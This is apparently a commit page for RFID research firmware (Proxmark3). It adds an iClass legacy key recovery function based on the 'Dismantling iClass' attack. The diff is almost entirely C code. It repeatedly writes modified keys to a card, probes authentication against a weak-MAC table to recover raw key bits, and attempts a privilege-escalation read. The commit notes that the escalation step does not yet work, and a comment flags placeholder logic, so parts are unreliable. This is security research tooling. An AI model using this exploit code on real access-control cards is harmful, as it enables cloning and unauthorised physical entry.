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Iclass Legacy Raw Key Recovery Function
Based on the work described in Dismantling iClass whitepaper. hf iclass legbrute is tested working hf iclass legrec is partially working: logic of operations and sequence seems to be in order and was tested on simulated data to be effective. The privilege escalation part is still not successful, but the logic should be correct.
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Antiklesys
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7 changed files with 529 additions and 0 deletions
213
armsrc/iclass.c
213
armsrc/iclass.c
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@ -2152,3 +2152,216 @@ out:
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reply_ng(CMD_HF_ICLASS_RESTORE, isOK, NULL, 0);
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}
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}
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void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]) {
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uint32_t carry = index;
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memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE);
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for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) {
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uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry
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keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0
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carry >>= 3; // Shift right by 3 bits for the next byte
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if (carry == 0) {
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// If no more carry, break early to avoid unnecessary loops
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break;
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}
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}
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}
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// Function to convert an unsigned int to binary string
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void intToBinary(unsigned int num, char *binaryStr, int size) {
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binaryStr[size] = '\0'; // Null-terminate the string
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for (int i = size - 1; i >= 0; i--) {
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binaryStr[i] = (num % 2) ? '1' : '0';
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num /= 2;
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}
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}
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// Function to convert a binary string to hexadecimal
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uint8_t binaryToHex(char *binaryStr) {
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return (uint8_t)strtoul(binaryStr, NULL, 2);
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}
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// Function to convert an unsigned int to an array of hex values
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void convertToHexArray(unsigned int num, uint8_t *partialKey) {
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char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator
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// Convert the number to binary string
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intToBinary(num, binaryStr, 24);
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// Split the binary string into groups of 3 and convert to hex
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for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) {
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char group[4];
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strncpy(group, binaryStr + i * 3, 3);
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group[3] = '\0'; // Null-terminate the group string
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partialKey[i] = binaryToHex(group);
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}
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}
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void iClass_Recover(iclass_recover_req_t *msg) {
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bool shallow_mod = false;
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LED_A_ON();
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Iso15693InitReader();
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//Authenticate with AA2 with the standard key to get the AA2 mac
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//Step0 Card Select Routine
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uint32_t eof_time = 0;
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picopass_hdr_t hdr = {0};
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bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod);
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if (res == false) {
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goto out;
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}
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//Step1 Authenticate with AA2 using K2
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uint8_t mac2[4] = {0};
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uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
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res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2);
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if (res == false) {
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goto out;
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}
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uint8_t div_key2[8] = {0};
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memcpy(div_key2, hdr.key_c, 8);
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//cycle reader to reset cypher state and be able to authenticate with k1 trace
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switch_off();
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Iso15693InitReader();
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//Step0 Card Select Routine
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eof_time = 0;
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//hdr = {0};
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res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod);
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if (res == false) {
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goto out;
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}
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//Step1 Authenticate with AA1 using trace
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uint8_t mac1[4] = {0};
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start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
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res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
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if (res == false) {
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goto out;
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}
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//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
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uint8_t blockno = 24;
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uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00};
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AddCrc(cmd_read + 1, 1);
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uint8_t resp[10];
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res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod);
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static uint8_t iClass_Mac_Table[8][8] = { //Reference weak macs table
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{ 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000
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{ 0x00, 0x00, 0x00, 0x00, 0x10, 0xED, 0x6F, 0x11 }, //Expected mac when last 3 bits of each byte are: 001
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{ 0x00, 0x00, 0x00, 0x00, 0x53, 0x35, 0x42, 0x0F }, //Expected mac when last 3 bits of each byte are: 010
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{ 0x00, 0x00, 0x00, 0x00, 0xAB, 0x47, 0x4D, 0xA0 }, //Expected mac when last 3 bits of each byte are: 011
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{ 0x00, 0x00, 0x00, 0x00, 0xF6, 0xCF, 0x43, 0x36 }, //Expected mac when last 3 bits of each byte are: 100
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{ 0x00, 0x00, 0x00, 0x00, 0x59, 0x7F, 0x4B, 0x58 }, //Expected mac when last 3 bits of each byte are: 101
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{ 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110
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{ 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111
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};
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//Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number
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static uint32_t iClass_Mac_Table_Bit_Values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215};
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uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
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uint32_t index = 1;
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int bits_found = -1;
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//START LOOP
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while (bits_found == -1){
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//Step3 Calculate New Key
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uint8_t GenKeyBlock[PICOPASS_BLOCK_SIZE];
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uint8_t GenKeyBlock_old[PICOPASS_BLOCK_SIZE];
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uint8_t XorKeyBlock[PICOPASS_BLOCK_SIZE];
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generate_single_key_block_inverted(zero_key, index, GenKeyBlock);
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//NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED
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//xor the new key against the previously generated key so that we only update the difference
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if(index != 0){
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generate_single_key_block_inverted(zero_key, index - 1, GenKeyBlock_old);
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for (int i = 0; i < 8 ; i++) {
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XorKeyBlock[i] = GenKeyBlock[i] ^ GenKeyBlock_old[i];
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}
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}else{
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memcpy(XorKeyBlock, GenKeyBlock, PICOPASS_BLOCK_SIZE);
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}
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//Step4 Calculate New Mac
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bool use_mac = true;
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uint8_t wb[9] = {0};
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blockno = 3;
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wb[0] = blockno;
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memcpy(wb + 1, XorKeyBlock, 8);
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doMAC_N(wb, sizeof(wb), div_key2, mac2);
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//Step5 Perform Write
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if (iclass_writeblock_ext(blockno, XorKeyBlock, mac2, use_mac, shallow_mod)) {
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Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno);
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} else {
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Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno);
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goto out;
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}
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//Step6 Perform 8 authentication attempts
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for (int i = 0; i < 8 ; ++i) {
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//need to craft the authentication payload accordingly
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memcpy(msg->req.key, iClass_Mac_Table[i], 8);
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res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //the mac here needs to be changed, mac 2 is a compiling placeholder
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if (res == true) {
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bits_found = iClass_Mac_Table_Bit_Values[i] ^ index;
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Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index);
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Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iClass_Mac_Table_Bit_Values[i]);
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Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found);
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goto restore;
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}
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}
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}//end while
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restore:
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;//empty statement for compilation
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uint8_t partialKey[PICOPASS_BLOCK_SIZE];
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convertToHexArray(bits_found, partialKey);
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for (int i = 0; i < 8; i++){
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Dbprintf("Raw Key Partial Bytes: " _GREEN_("[%3d -> 0x%02X]"), i, partialKey);
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}
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uint8_t resetKey[PICOPASS_BLOCK_SIZE];
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convertToHexArray(index, resetKey);
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//Calculate reset Mac
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bool use_mac = true;
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uint8_t wb[9] = {0};
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blockno = 3;
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wb[0] = blockno;
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memcpy(wb + 1, resetKey, 8);
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doMAC_N(wb, sizeof(wb), div_key2, mac2);
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if (iclass_writeblock_ext(blockno, resetKey, mac2, use_mac, shallow_mod)) {
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Dbprintf("Restore of Original Key [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno);
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} else {
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Dbprintf("Restore of Original Key [%3d/0x%02X] " _RED_("failed"), blockno, blockno);
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}
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switch_off();
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out:
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switch_off();
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}
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